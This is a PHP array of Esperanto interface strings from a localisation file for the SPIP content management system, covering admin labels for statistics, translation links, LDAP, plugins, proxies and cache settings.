'info_gauche_statistiques_referers' => 'Tiu paĝo prezentas la liston de la <i>referencoj</i>, tio estas retejoj enhavantaj ligilojn al via propra retejo, nur koncerne hieraŭ kaj hodiaŭ : tiu listo estas prastatigita ĉiujn 24 horojn.',
'info_gauche_visiteurs_enregistres' => 'Vi trovos ĉi tie la vizitantojn registritajn
en la publika spaco de la retejo (forumoj laŭ abono).',
'info_generation_miniatures_images' => 'Bildoj-miniaturigo',
'info_gerer_trad' => 'Ĉu mastrumi la traduk-ligilojn ?',
'info_gerer_trad_objets' => '@objets@ : mastrumi la traduk-ligilojn',
'info_hebergeur_desactiver_envoi_email' => 'Iuj retgastigantoj malaktivigas la aŭtomatan retleteroj-sendadon ekde ties serviloj. Tiukaze, la jenaj SPIP-funkcioj ne fonkcios.',
'info_hier' => 'hieraŭ :',
'info_historique_activer' => 'Aktivigi la superrigardo de la revizioj',
'info_historique_affiche' => 'Afiŝi tiun version',
'info_historique_comparaison' => 'kompari',
'info_historique_desactiver' => 'Malaktivigi la superrigardon de la revizioj',
'info_historique_texte' => 'La superrigardo de revizioj ebligas konservi historion de ĉiuj modifoj al la enhavo de artikolo, kaj afiŝi la diferencojn inter la sinsekvaj versioj.',
'info_identification_publique' => 'Via publika identeco...',
'info_image_process' => 'Bonvolu elekti la plej bonan metodon por fabriki vinjetojn musklakante laŭcele bildon.',
'info_image_process2' => 'Se neniu bildo afiŝiĝas, tio signifas ke la servilo kiu gastigas vian retejon ne estas konfigurita por uzi tiajn ilojn. Se vi deziras uzi tiujn funkciojn, petu la « GD » aŭ « Imagick » modulojn al la teknika repondeculo.',
'info_images_auto' => 'Bildoj aŭtomate komputitaj',
'info_informations_personnelles' => 'Personaj datenoj',
'info_inscription_automatique' => 'Aŭtomata registriĝado de novaj redaktantoj',
'info_jeu_caractere' => 'Litertiparo de la retejo',
'info_jours' => 'tagoj',
'info_laisser_champs_vides' => 'lasi tiujn tajpujojn malplenaj)',
'info_langues' => 'Lingvoj de la retejo',
'info_ldap_ok' => 'La LDAP-aŭtentokontrolilo estas instalita.',
'info_lien_hypertexte' => 'Hiperligilo :',
'info_liste_nouveautes_envoyee' => 'La listo de novaĵoj estis sendita',
'info_liste_redacteurs_connectes' => 'Listo de la konektitaj redaktantoj',
'info_login_existant' => 'Tiu salutnomo jam ekzistas.',
'info_login_trop_court' => 'Tro mallonga salutnomo.',
'info_login_trop_court_car_pluriel' => 'La salutnomo devas enhavi almenaŭ @nb@ signojn.',
'info_logos' => 'La vinjetoj',
'info_maximum' => 'maksimumo :',
'info_meme_rubrique' => 'En la sama rubriko',
'info_message' => 'Mesaĝo de la',
'info_message_efface' => 'MESAĜO FORVIŜITA',
'info_message_en_redaction' => 'Viaj redaktataj mesaĝoj',
'info_message_technique' => 'Teknika mesaĝo :',
'info_messagerie_interne' => 'Interna mesaĝilo',
'info_mise_a_niveau_base' => 'alniveligo de via SQL-datenbazo',
'info_mise_a_niveau_base_2' => '{{Atentu !}} Vi ĵus instalis version de la SPIP-dosieroj {pli malnovan} ol tiun, kiu estis instalita antaŭe ĉe via retejo : eblas ke via datenbazo perdiĝos kaj ke via retejo ne plu funkcios.<br />{{Reinstalu la
SPIP-dosierojn.}}',
'info_modification_enregistree' => 'Via modifo estis registrita',
'info_modifier_auteur' => 'Modifi tiun ĉi aŭtoron :',
'info_modifier_rubrique' => 'Modifi la rubrikon :',
'info_modifier_titre' => 'Modifi : @titre@',
'info_mon_site_spip' => 'Mia SPIP-retejo',
'info_mot_sans_groupe' => '(Vortoj sen grupo...)',
'info_moteur_recherche' => 'Integrita serĉilo',
'info_moyenne' => 'meznombro :',
'info_multi_articles' => 'Ĉu aktivigi la lingvomenuon en la artikoloj ?',
'info_multi_cet_article' => 'Lingvo de tiu ĉi artikolo :',
'info_multi_langues_choisies' => 'Bonvolu elekti ĉi-sube la lingvojn, kiujn vi volas disponigi al la redaktantoj de via retejo.
Vi ne povas malaktivigi la lingvojn jam uzatajn (unue afiŝitajn) ĉe via retejo.',
'info_multi_objets' => '@objets@ : aktivigi la lingvomenuon',
'info_multi_rubriques' => 'Ĉu aktivigi la lingvomenuon en la rubrikoj ?',
'info_multi_secteurs' => '... ĉu nur por la rubrikoj situantaj ĉe la radiko ?',
'info_nb_articles' => '@nb@ artikoloj',
'info_nb_articles_syndiques' => '@nb@ abonligitaj artikoloj',
'info_nb_auteurs' => '@nb@ aŭtoroj',
'info_nb_messages' => '@nb@ mesaĝoj',
'info_nb_mots_cles' => '@nb@ ŝlosilvortoj',
'info_nb_rubriques' => '@nb@ rubrikoj',
'info_nb_sites' => '@nb@ retejoj',
'info_nb_visiteurs' => '@nb@ vizitantoj',
'info_nom' => 'Nomo',
'info_nom_destinataire' => 'Nomo de la adresato',
'info_nom_site' => 'Nomo de via retejo',
'info_nombre_articles' => '@nb_articles@ artikoloj,',
'info_nombre_partcipants' => 'PARTOPRENANTOJ EN LA DISKUTO :',
'info_nombre_rubriques' => '@nb_rubriques@ rubrikoj,',
'info_nombre_sites' => '@nb_sites@ retejoj,',
'info_non_deplacer' => 'Ne transloki...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP povas regule sendi anoncon pri la lastaj novaĵoj de la retejo (artikolojn kaj fulm-informojn freŝe publikigitajn).',
'info_non_envoi_liste_nouveautes' => 'Ne sendi la liston de la novaĵoj.',
'info_non_modifiable' => 'ne modifebla',
'info_non_suppression_mot_cle' => 'mi ne volas forviŝi tiun ŝlosilvorton.',
'info_note_numero' => 'Noto @numero@',
'info_notes' => 'Notoj',
'info_nouveaux_message' => 'Novaj mesaĝoj',
'info_nouvel_article' => 'Nova artikolo',
'info_nouvelle_traduction' => 'Nova tradukaĵo :',
'info_numero_article' => 'ARTIKOLO NUMERO :',
'info_obligatoire_02' => '(deviga)',
'info_option_accepter_visiteurs' => 'Permesi registriĝojn de vizitantoj el la publika spaco',
'info_option_faire_suivre' => 'Plusendi la mesaĝojn de la forumoj al la aŭtoroj de la artikoloj',
'info_option_ne_pas_accepter_visiteurs' => 'Rifuzi registriĝon de vizitantoj',
'info_options_avancees' => 'PLENDETALAJ AGORDOJ',
'info_ortho_activer' => 'Aktivigi la ortografian kontrolilon',
'info_ortho_desactiver' => 'Malaktivigi la ortografian kontrolilon',
'info_ou' => 'aŭ...',
'info_page_interdite' => 'Malpermesata paĝo',
'info_par_nom' => 'laŭ nomo',
'info_par_nombre_article' => 'laŭ nombro de artikoloj',
'info_par_statut' => 'laŭ statuso',
'info_par_tri' => '’(laŭ @tri@)’',
'info_passe_trop_court' => 'Pasvorto tro mallonga.',
'info_passe_trop_court_car_pluriel' => 'La pasvorto devas enhavi almenaŭ @nb@ signojn.',
'info_passes_identiques' => 'Ambaŭ pasvortoj ne samas.',
'info_pense_bete_ancien' => 'Viaj malnovaj memorigiloj',
'info_plus_cinq_car' => 'pli ol 5 signoj',
'info_plus_cinq_car_2' => '(Pli ol 5 signoj)',
'info_plus_trois_car' => '(Pli ol 3 signoj)',
'info_popularite' => 'populareco : @popularite@ ; vizitoj : @visites@',
'info_popularite_4' => 'populareco : @popularite@ ; vizitoj : @visites@',
'info_post_scriptum' => 'Postskribo',
'info_post_scriptum_2' => 'Postskribo :',
'info_pour' => 'por',
'info_preview_admin' => 'Nur la mastrumantoj povas antaŭrigardi la retejon',
'info_preview_comite' => 'Ĉiuj redaktantoj povas antaŭrigardi la retejon',
'info_preview_desactive' => 'La antaŭrigardeblo estas malaktivigita',
'info_preview_texte' => 'Eblas antaŭrigardi la retejon kvazaŭ ciuj artikoloj kaj fulm-informoj (kiuj almenaŭ havas la statuson « proponatan ») estus publikigitaj. Ĉu tio eblu nur al mastrumantoj, al ĉiuj redaktantoj, aŭ al neniu ?',
'info_principaux_correspondants' => 'Viaj ĉefaj korespondantoj',
'info_procedez_par_etape' => 'procedu etapon post etapo',
'info_procedure_maj_version' => 'la ĝisdatiga proceduro devas esti lanĉita por adapti
la datenbazon al la nova versio de SPIP.',
'info_proxy_ok' => 'Testo de la prokurservilo sukcesa.',
'info_ps' => 'P.S.',
'info_publier' => 'publikigi',
'info_publies' => 'Viaj artikoloj rete publikigitaj',
'info_question_accepter_visiteurs' => 'Se viaj skeletoj ebligas registradon de vizitantoj, kiuj ne rajtas aliri la privatan spacon, bonvolu aktivigi la ĉi-suban opcion :',
'info_question_inscription_nouveaux_redacteurs' => 'Ĉu vi akceptas la registriĝadon de novaj redaktantoj ekde
la publika spaco ? Se vi akceptas tion, la vizitantoj povos registriĝi
per aŭtomata aliĝilo kaj tiam aliros al la privata spaco por
proponi siajn proprajn artikolojn. <div class="notice">Dum la aliĝo,
la uzantoj ricevos aŭtomate senditan retmesaĝon kun siaj
alir-kodoj al la privata spaco. Iuj
retejgastigantoj malaktivigas la sendadon de retleteroj el siaj
serviloj : tiukaze la aŭtomata aliĝo ne eblos.</div>',
'info_question_utilisation_moteur_recherche' => 'Ĉu vi deziras uzi la SPIP-internan serĉilon ?
(malaktivigi ĝin rapidigas la funkciadon de la sistemo.)',
'info_question_vignettes_referer_non' => 'Ne vidigi de kiuj retejoj venas vizitantoj',
'info_qui_edite' => '@nom_auteur_modif@ laboris pri tiu ĉi enhavo antaŭ @date_diff@ minutoj',
'info_racine_site' => 'Radiko de la retejo',
'info_recharger_page' => 'Bonvolu refreŝigi tiun ĉi paĝon post momento.',
'info_recherche_auteur_a_affiner' => 'Tro da rezultoj por "@cherche_auteur@" ; bonvolu fajnigi la serĉokriteriojn.',
'info_recherche_auteur_ok' => 'Pluraj redaktantoj trovitaj por "@cherche_auteur@" :',
'info_recherche_auteur_zero' => 'Neniu rezulto por "@cherche_auteur@".',
'info_recommencer' => 'Bonvolu rekomenci.',
'info_redacteur_1' => 'Redaktanto',
'info_redacteur_2' => 'kun aliro al la privata spaco (<i>Estas konsilinde</i>)',
'info_redacteurs' => 'Redaktantoj',
'info_redaction_en_cours' => 'REDAKTATA',
'info_redirection' => 'Alidirektigo',
'info_redirection_activee' => 'La alidirektigo estas aktiva.',
'info_redirection_desactivee' => 'La alidirektigo estis forigita.',
'info_refuses' => 'Viaj rifuzitaj artikoloj',
'info_reglage_ldap' => 'Opcioj : <b>Agordo de la LDAP-elŝuto</b>',
'info_renvoi_article' => '<b>Alidirektigo.</b> Tiu artikolo alidirektas al la paĝo :',
'info_reserve_admin' => 'Nur la mastrumantoj povas modifi tiun ĉi adreson.',
'info_restreindre_rubrique' => 'Limigi la mastrumadon al la rubriko :',
'info_resultat_recherche' => 'Serĉo-rezultoj :',
'info_rubriques' => 'Rubrikoj',
'info_rubriques_02' => 'rubrikoj',
'info_rubriques_trouvees' => 'Trovitaj rubrikoj',
'info_rubriques_trouvees_dans_texte' => 'Rubrikoj trovitaj (en la teksto)',
'info_sans_titre' => 'Sen titolo',
'info_selection_chemin_acces' => '<b>Selektu</b> ĉi-sube alirvojon en la dosierujilo :',
'info_signatures' => 'subskriboj',
'info_site' => 'Retejo',
'info_site_2' => 'retejo :',
'info_site_min' => 'retejo',
'info_site_reference_2' => 'Referencigita retejo',
'info_site_web' => 'Retejo :',
'info_sites' => 'retejoj',
'info_sites_lies_mot' => 'La referencigitaj retejoj ligitaj al tiu ĉi ŝlosilvorto',
'info_sites_proxy' => 'Uzi prokuran servilon',
'info_sites_trouves' => 'Retejoj trovitaj',
'info_sites_trouves_dans_texte' => 'Retejoj trovitaj (en la teksto)',
'info_sous_titre' => 'Subtitolo :',
'info_statut_administrateur' => 'Mastrumanto',
'info_statut_auteur' => 'Statuso de tiu ĉi aŭtoro :',
'info_statut_auteur_2' => 'Mi estas',
'info_statut_auteur_a_confirmer' => 'Konfirmenda registropeto',
'info_statut_auteur_autre' => 'Alia statuso :',
'info_statut_efface' => 'forviŝita',
'info_statut_redacteur' => 'Redaktanto',
'info_statut_utilisateurs_1' => 'Defaŭlta statuso de la importitaj uzantoj',
'info_statut_utilisateurs_2' => 'Elektu la statuson atribuotan al la personoj ĉeestantaj en LDAP-dosierujilo, kiam ili unuafoje konektiĝas. Poste vi povos modifi tiun valoron por ĉiu aŭtoro laŭkaze.',
'info_suivi_activite' => 'Superrigardo de la redakta agado',
'info_surtitre' => 'Surtitolo :',
'info_syndication_integrale_1' => 'Via retejo proponas abondosierojn (vidu « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Ĉu vi deziras transdoni tutajn artikolojn, aŭ nur afiŝi kelkcent-literan resumon ?',
'info_table_prefix' => 'Vi povas modifi la prefikson de la datentabelo (tio nepras se vi deziras instali plurajn retejojn en la sama datenbazo). Tiun prefikson skribu per minusklaj literoj, sen ĉapeloj, kaj sen spaco.',
'info_taille_maximale_images' => 'SPIP tuj pritestos la maksimuman bildgrandecon, kiun ĝi povas pritrakti (laŭ milionrastrumeroj). <br/> La plej grandaj bildoj ne estos malgrandigitaj.',
'info_taille_maximale_vignette' => 'Maksimuma grandeco de la vinjetoj generataj de la sistemo :',
'info_terminer_installation' => 'Vi povas nun fini laŭnorman instalproceduron.',
'info_texte' => 'Teksto',
'info_texte_explicatif' => 'Klariga teksto',
'info_texte_long' => '(la teksto estas longa : ĝi aperas do en pluraj partoj kiuj estos rekunigitaj post validigo.)',
'info_texte_message' => 'Teksto de via mesaĝo',
'info_texte_message_02' => 'Teksto de la mesaĝo',
'info_titre' => 'Titolo :',
'info_total' => 'totalo :',
'info_tous_articles_en_redaction' => 'Ĉiuj artikoloj redaktataj',
'info_tous_articles_presents' => 'Ĉiuj artikoloj publikigitaj en tiu ĉi rubriko',
'info_tous_articles_refuses' => 'Ĉiuj artikoloj rifuzitaj',
'info_tous_les' => 'ĉiuj :',
'info_tous_redacteurs' => 'Anoncoj al ĉiuj redaktantoj',
'info_tout_site' => 'La tuta retejo',
'info_tout_site2' => 'La artikolon oni ne tradukis al tiu lingvo.',
'info_tout_site3' => 'La artikolo jam haveblas en tiu lingvo, sed modifoj estis poste aldonitaj al la referenca artikolo. Bonvolu ĝisdatigi la tradukaĵon.',
'info_tout_site4' => 'La artikolo haveblas en tiu lingvo, kaj la tradukaĵo estas ĝisdatigita.',
'info_tout_site5' => 'Originala artikolo.',
'info_tout_site6' => '<b>Atentu :</b> nur la originalaj artikoloj estas afiŝitaj.
La tradukoj estas kunligitaj al la originalo, kun koloro kiu indikas ties staton :',
'info_traductions' => 'Tradukoj',
'info_travail_colaboratif' => 'Kunlaborado pri la artikoloj',
'info_un_article' => 'unu artikolo,',
'info_un_site' => 'retejo,',
'info_une_rubrique' => 'unu rubriko,',
'info_une_rubrique_02' => '1 rubriko',
'info_url' => 'URL :',
'info_url_proxy' => 'URL de la prokura servilo',
'info_url_site' => 'RETEJO-URL :',
'info_url_test_proxy' => 'URL de testo',
'info_urlref' => 'Hiperligilo :',
'info_utilisation_spip' => 'Vi povas nun ekuzi la asistatan publikigilon...',
'info_visites_par_mois' => 'Afiŝado laŭ monato :',
'info_visiteur_1' => 'Vizitanto',
'info_visiteur_2' => 'de la publika spaco',
'info_visiteurs' => 'Vizitantoj',
'info_visiteurs_02' => 'Vizitantoj de la publika spaco',
'info_webmestre_forces' => 'La retejestroj nune estas difinita en <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adreso de la datenbazo atribuita de la retejgastiganto',
'install_base_ok' => 'La datumbazo @base@ estis rekonita',
'install_connect_ok' => 'La nova bazo estis bone deklarita kiel servilonomo @connect@.',
'install_echec_annonce' => 'Certe la instalado estas malsukcesonta, aŭ naskos ne funkciivan retejon...',
'install_extension_mbstring' => 'SPIP ne funkcias per :',
'install_extension_php_obligatoire' => 'SPIP postulas la php-kromprogramon :',
'install_login_base_hebergeur' => 'Salutnomo atribuita de la retejgastiganto',
'install_nom_base_hebergeur' => 'Baznomo atribuita de la retejgastiganto :',
'install_pas_table' => 'Tiu ĉi datumbazo nune enhavas neniun tabelo',
'install_pass_base_hebergeur' => 'Pasvorto atribuita de la retejgastiganto',
'install_php_version' => 'PHP-versio @version@ eksnuna (minimuma = @minimum@)',
'install_select_langue' => 'Elektu lingvon kaj poste musklaku la butonon « sekvanta » por lanĉi la instal-proceduron.',
'install_select_type_db' => 'Indiku la datumbazan tipon :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servilo de datumbazo atribuita de la retgastiganto',
'install_table_prefix_hebergeur' => 'Prefikso de la tabelo atribuita de la retejgastiganto :',
'install_tables_base' => 'Tabeloj de la datumbazo',
'install_types_db_connus' => 'SPIP scipovas uzi <b>MySQL</b> (la plej kutime uzatan) kaj <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'La uzado de <b>PostgreSQL</b> estas ankaŭ proponita kiel eksperimenta',
'instituer_erreur_statut_a_change' => 'La statuso jam estis modifita',
'instituer_erreur_statut_non_autorise' => 'Vi ne povas elekti tiun statuson',
'intem_redacteur' => 'redaktanto',
'intitule_licence' => 'Licenco',
'item_accepter_inscriptions' => 'Akcepti la registropetojn',
'item_activer_messages_avertissement' => 'Aktivigi la averto-mesaĝojn',
'item_administrateur_2' => 'mastrumanto',
'item_afficher_calendrier' => 'Afiŝi en la kalendaro',
'item_autoriser_documents_joints' => 'Permesi alkroĉon de dokumentoj al la artikoloj',
'item_autoriser_documents_joints_rubriques' => 'Permesi dokumentojn en la rubrikoj',
'item_autoriser_syndication_integrale' => 'Disponigi la tuton de la artikoloj en la abondosieroj',
'item_choix_administrateurs' => 'la mastrumantoj',
'item_choix_generation_miniature' => 'Aŭtomatigi miniaturigadon de la bildoj.',
'item_choix_non_generation_miniature' => 'Ne generi bildajn miniaturojn.',
'item_choix_redacteurs' => 'la redaktantoj',
'item_choix_visiteurs' => 'la vizitantoj de la publika spaco',
'item_creer_fichiers_authent' => 'Krei la dosierojn .htpasswd',
'item_limiter_recherche' => 'Limigi la serĉprocezon al informoj entenataj ĉe via retejo',
'item_login' => 'Salutnomo',
'item_messagerie_agenda' => 'Aktivigi la mesaĝilon kaj la agendon',
'item_mots_cles_association_articles' => 'al artikoloj',
'item_mots_cles_association_rubriques' => 'al rubrikoj',
'item_mots_cles_association_sites' => 'al referencigitaj aŭ abonligitaj retejoj.',
'item_non' => 'Ne',
'item_non_accepter_inscriptions' => 'Ne akcepti la registropetojn',
'item_non_activer_messages_avertissement' => 'Neniuj averto-mesaĝoj',
'item_non_afficher_calendrier' => 'Ne afiŝi en la kalendaro',
'item_non_autoriser_documents_joints' => 'Ne permesi dokumentojn en la artikoloj',
'item_non_autoriser_documents_joints_rubriques' => 'Ne permesi dokumentojn en la rubrikoj',
'item_non_autoriser_syndication_integrale' => 'Nur disponigi po unu resumo',
'item_non_compresseur' => 'Malaktivigi la densigon',
'item_non_creer_fichiers_authent' => 'Ne krei tiujn ĉi dosierojn',
'item_non_gerer_statistiques' => 'Ne mastrumi statistikojn',
'item_non_limiter_recherche' => 'Etendi la serĉadon al la enhavo de la referencigitaj retejoj',
'item_non_messagerie_agenda' => 'Malaktivigi la mesaĝilon kaj la agendon',
'item_non_publier_articles' => 'Ne publikigi la artikolojn antaŭ la fiksita publikig-dato.',
'item_non_utiliser_moteur_recherche' => 'Ne uzi la serĉilon',
'item_nouvel_auteur' => 'Nova aŭtoro',
'item_nouvelle_rubrique' => 'Nova rubriko',
'item_oui' => 'Jes',
'item_publier_articles' => 'Publikigi la artikolojn, kiu ajn estas ties publikig-dato.',
'item_reponse_article' => 'Respondo al la artikolo',
'item_utiliser_moteur_recherche' => 'Uzi la serĉilon',
'item_version_html_max_html4' => 'Limiĝi al HTML4 en publika spaco',
'item_version_html_max_html5' => 'Permesi HTML5',
'item_visiteur' => 'vizitanto',
// J
'jour_non_connu_nc' => 'ne konata',
// L
'label_bando_outils' => 'Ilobreto',
'label_bando_outils_afficher' => 'Afiŝi la ilojn',
'label_bando_outils_masquer' => 'Kaŝi la ilojn',
'label_choix_langue' => 'Elektu vian lingvon',
'label_nom_fichier_connect' => 'Indiku la nomon uzita por tiu servilo',
'label_slogan_site' => 'Devizo de la retejo',
'label_taille_ecran' => 'Larĝo de la ekrano',
'label_texte_et_icones_navigation' => 'Naviga menuo',
'label_texte_et_icones_page' => 'Afiŝado en paĝo',
'ldap_correspondance' => 'heredado de la kampo @champ@',
'ldap_correspondance_1' => 'Heredadoj de LDAP-kampoj',
'ldap_correspondance_2' => 'Por ĉiuj jenaj SPIP-kampoj, indiki la nomo de la rilata LDAP-kampo. Lasi malplenan por ne plenigis ĝin, apartigi per spacoj aŭ komoj por provi plurajn LDAP-kampoj.',
'lien_ajout_destinataire' => 'Aldoni tiun adresaton',
'lien_ajouter_auteur' => 'Aldoni tiun aŭtoron',
'lien_ajouter_participant' => 'Aldoni partoprenanton',
'lien_ajouter_une_rubrique' => 'Aldoni tiu rubriko',
'lien_email' => 'retpoŝtadreso',
'lien_nom_site' => 'NOMO DE LA RETEJO :',
'lien_retirer_auteur' => 'Forviŝi la aŭtoron',
'lien_retirer_rubrique' => 'Forviŝi la rubrikon',
'lien_retirer_tous_auteurs' => 'Forviŝi ĉiujn aŭtorojn',
'lien_retirer_toutes_rubriques' => 'Forviŝi ĉiujn rubrikojn',
'lien_retrait_particpant' => 'Forviŝi tiun ĉi partoprenanton',
'lien_site' => 'retejo',
'lien_supprimer_rubrique' => 'forviŝi tiun ĉi rubrikon',
'lien_tout_deplier' => 'Malfaldi ĉion',
'lien_tout_replier' => 'Refaldi ĉion',
'lien_tout_supprimer' => 'Ĉion forviŝi',
'lien_trier_nom' => 'Vicigi laŭ nomo',
'lien_trier_nombre_articles' => 'Vicigi laŭ nombro de artikoloj',
'lien_trier_statut' => 'Vicigi laŭ statuso',
'lien_voir_en_ligne' => 'VIDI ĈERETIGITE :',
'logo_article' => 'Vinjeto de la artikolo',
'logo_auteur' => 'Vinjeto de la aŭtoro',
'logo_rubrique' => 'Vinjeto de la rubriko',
'logo_site' => 'Vinjeto de la retejo
',
'logo_standard_rubrique' => 'Laŭnorma vinjeto de rubrikoj',
'logo_survol' => 'Vinjeto por flugrigardo',
// M
'menu_aide_installation_choix_base' => 'Elekto de via datenbazo',
'module_fichier_langue' => 'Lingva dosiero',
'module_raccourci' => 'Rapid-alirilo',
'module_texte_affiche' => 'Afiŝita teksto',
'module_texte_explicatif' => 'Vi povas inkludi la jenajn rapid-klakeblojn en la skeletojn de via publika retejo. Ili estos aŭtomate tradukitaj en la diversajn lingvojn, kiuj havas specifan lingvan dosieron.',
'module_texte_traduction' => 'La lingva dosiero « @module@ » disponeblas en :',
'mois_non_connu' => 'nekonata',
// N
'nouvelle_version_spip' => 'SPIP-versio @version@ estas disponebla',
// O
'onglet_contenu' => 'Enhavo',
'onglet_declarer_une_autre_base' => 'Deklari alian datumbazon',
'onglet_discuter' => 'Diskuti',
'onglet_documents' => 'Dokumentoj',
'onglet_interactivite' => 'Interago',
'onglet_proprietes' => 'Trajtoj',
'onglet_repartition_actuelle' => 'nun',
'onglet_sous_rubriques' => 'Subrubrikoj',
// P
'page_pas_proxy' => 'Tiu ĉi paĝo ne ŝutiĝu tra la prokura servilo',
'pas_de_proxy_pour' => 'Laŭbezone, indiku komputilojn aŭ domajnojn por kiuj tiu prokurservilo ne devas aplikiĝi (ekzemple : @exemple@)',
'plugin_charge_paquet' => 'Ŝargado de la pakaĵo @name@',
'plugin_charger' => 'Elŝuti',
'plugin_erreur_charger' => 'eraro : ne eblas ŝargi @zip@',
'plugin_erreur_droit1' => 'La dosierujo <code>@dest@</code> ne estas skribe alirebla.',
'plugin_erreur_droit2' => 'Bonvolu kontroli la rajtojn pri tiu ĉi dosierujo (kaj krei ĝin laŭkaze), aŭ instali la dosierojn per FTP.',
'plugin_erreur_zip' => 'malsukceso pclzip : eraro @status@',
'plugin_etat_developpement' => 'disvolvata',
'plugin_etat_experimental' => 'eksperimenta',
'plugin_etat_stable' => 'stabila',
'plugin_etat_test' => 'testata',
'plugin_impossible_activer' => 'Ne eblas aktivigi la kromprogramon @plugin@',
'plugin_info_automatique1' => 'Se vi deziras permesi la aŭtomatan instaladon de kromprogramoj, bonvolu :',
'plugin_info_automatique1_lib' => 'Se vi deziras permesi aŭtomata instalado de tiu biblioteko, bonvolu :',
'plugin_info_automatique2' => 'krei dosierujon <code>@rep@</code> ;',
'plugin_info_automatique3' => 'kontroli ke estas permesate al la servilo skribi en tiu ĉi dosierujo.',
'plugin_info_automatique_creer' => 'kreenda ĉe la reteja radiko.',
'plugin_info_automatique_exemples' => 'ekzemploj :',
'plugin_info_automatique_ftp' => 'Vi povas instali kromprogramojn, per FTP, en la dosierujon <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Iuj kromprogramoj postulas ankaŭ la eblon elŝuti dosierojn en la dosierujon <code>lib/</code>. Tiu dosierujo estas laŭkaze kreenda ĉe la reteja radiko.',
'plugin_info_automatique_liste' => 'Viaj listoj de kromprogramoj :',
'plugin_info_automatique_liste_officielle' => 'la oficialaj kromprogramoj',
'plugin_info_automatique_liste_update' => 'Ĝisdatigi la listojn',
'plugin_info_automatique_ou' => 'aŭ...',
'plugin_info_automatique_select' => 'Elektu ĉi-sube kromprogramon : SPIP elŝutos ĝin kaj instalos ĝin en la dosierujo <code>@rep@</code> ; se tiu ĉi kromprogramo jam ekzistas, ĝi estos ĝisdatigita.',
'plugin_info_credit' => 'Kreditoj',
'plugin_info_erreur_xml' => 'Deklaro de tiu kromprogramo ne ĝustas',
'plugin_info_install_ok' => 'Sukcesa instalado',
'plugin_info_necessite' => 'Necesas :',
'plugin_info_non_compatible_spip' => 'Tiu ĉi kromprogramo ne estas kongrua kun tiu SPIP-versio',
'plugin_info_plugins_dist_1' => 'Kromprogramoj ĉi-sube estas ŝarĝitaj kaj aktivigitaj en la dosierujo @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Ili ne malaktivigas.',
'plugin_info_telecharger' => 'elŝutota de @url@ kaj instalota en @rep@',
'plugin_librairies_installees' => 'Instalitaj bibliotekoj',
'plugin_necessite_lib' => 'Tiu ĉi kromprogramo bezonas la bibliotekon @lib@',
'plugin_necessite_plugin' => 'Postulas la kromprogramon @plugin@ minimume laŭ versio @version@.',
'plugin_necessite_plugin_sans_version' => 'Necesas la kromprogramon @plugin@',
'plugin_necessite_spip' => 'Necesas SPIP laŭ minimume versio @version@.',
'plugin_source' => 'fonto : ',
'plugin_titre_automatique' => 'Aŭtomata instalo',
'plugin_titre_automatique_ajouter' => 'Aldoni kromprogramojn',
'plugin_titre_installation' => 'Instalado de la kromprogramo @plugin@',
'plugin_titre_modifier' => 'Miaj kromprogramoj',
'plugin_zip_active' => 'Daŭrigu por ĝin aktivigi',
'plugin_zip_adresse' => 'indiku ĉi-sube la retadreson de la maldensa dosiero de elŝutenda kromprogramo, aŭ la retadreson de kromprogramolisto.',
'plugin_zip_adresse_champ' => 'Retadreso de la kromprogramo aŭ de la listo ',
'plugin_zip_content' => 'Ĝi enhavas la jenajn dosierojn (@taille@),
<br />pretajn por instali en la dosierujo <code>@rep@</code>',
'plugin_zip_installe_finie' => 'La dosiero @zip@ estis ekstraktita kaj instalita.',
'plugin_zip_installe_rep_finie' => 'La dosiero @zip@ estis ekstraktita kaj instalita en la dosierujo @rep@',
'plugin_zip_installer' => 'Vi nun povas instali ĝin',
'plugin_zip_telecharge' => 'La dosiero @zip@ estis elŝutita',
'plugins_actif_aucun' => 'Neniu aktivata kromprogramo.',
'plugins_actif_un' => 'Unu aktivata kromprogramo.',
'plugins_actifs' => '@count@ aktivataj kromprogramoj.',
'plugins_actifs_liste' => 'Aktivaj',
'plugins_compte' => '@count@ kromprogramoj',
'plugins_disponible_un' => 'Unu disponebla kromprogramo.',
'plugins_disponibles' => '@count@ disponeblaj kromprogramoj.',
'plugins_erreur' => 'Eraro en la kromprogramoj : @plugins@',
'plugins_liste' => 'Listo de kromprogramoj',
'plugins_liste_dist' => 'Ŝlositaj kromprogramoj',
'plugins_recents' => 'Freŝaj kromprogramoj.',
'plugins_tous_liste' => 'Ĉiuj',
'plugins_vue_hierarchie' => 'Hierarkio',
'plugins_vue_liste' => 'Listo',
'protocole_ldap' => 'Protokolversio :',
// Q
'queue_executer_maintenant' => 'Lanĉi nun',
'queue_info_purger' => 'Vi povas forviŝi ĉiujn atendante taskojn kaj restarigi la liston kun la periodaj taskoj',
'queue_nb_jobs_in_queue' => '@nb@ atendante taskoj',
'queue_next_job_in_nb_sec' => 'Sekva tasko post @nb@ s',
'queue_no_job_in_queue' => 'Neniu atendante tasko',
'queue_one_job_in_queue' => '1 atendante tasko',
'queue_purger_queue' => 'Restarigi la taskliston',
'queue_titre' => 'Tasklisto',
// R
'repertoire_plugins' => 'Dosierujo :',
// S
'sans_heure' => 'sen horo',
'statut_admin_restreint' => '(etrajta mastrumanto)', # MODIF
// T
'tache_cron_asap' => 'Tasko CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Tasko CRON @function@ (ĉiuj @nb@ s)',
'taille_cache_image' => 'La bildoj aŭtomate komputitaj de SPIP (vijnetoj de dokumentoj, titoloj prezentitaj laŭ grafika formo, matematikaj funkcioj laŭ TeX-formato...) okupas en dosierujo @dir@ spacon je @taille@.',
'taille_cache_infinie' => 'Tiu retejo ne ebligas limigi memorspacon de stapla dosierujo.',
'taille_cache_maxi' => 'SPIP provas limigi memorspacon de stapla dosierujo po cirkaŭ <b>@octets@</b> da datenoj.',
'taille_cache_moins_de' => 'Memorspaco de la staplo estas malpli ol @octets@.',
'taille_cache_octets' => 'Memorspaco de la staplo estas nun proksimume @octets@.',
'taille_cache_vide' => 'La staplo estas malplena.',
'taille_repertoire_cache' => 'Memorspaco de stapla dosierujo',
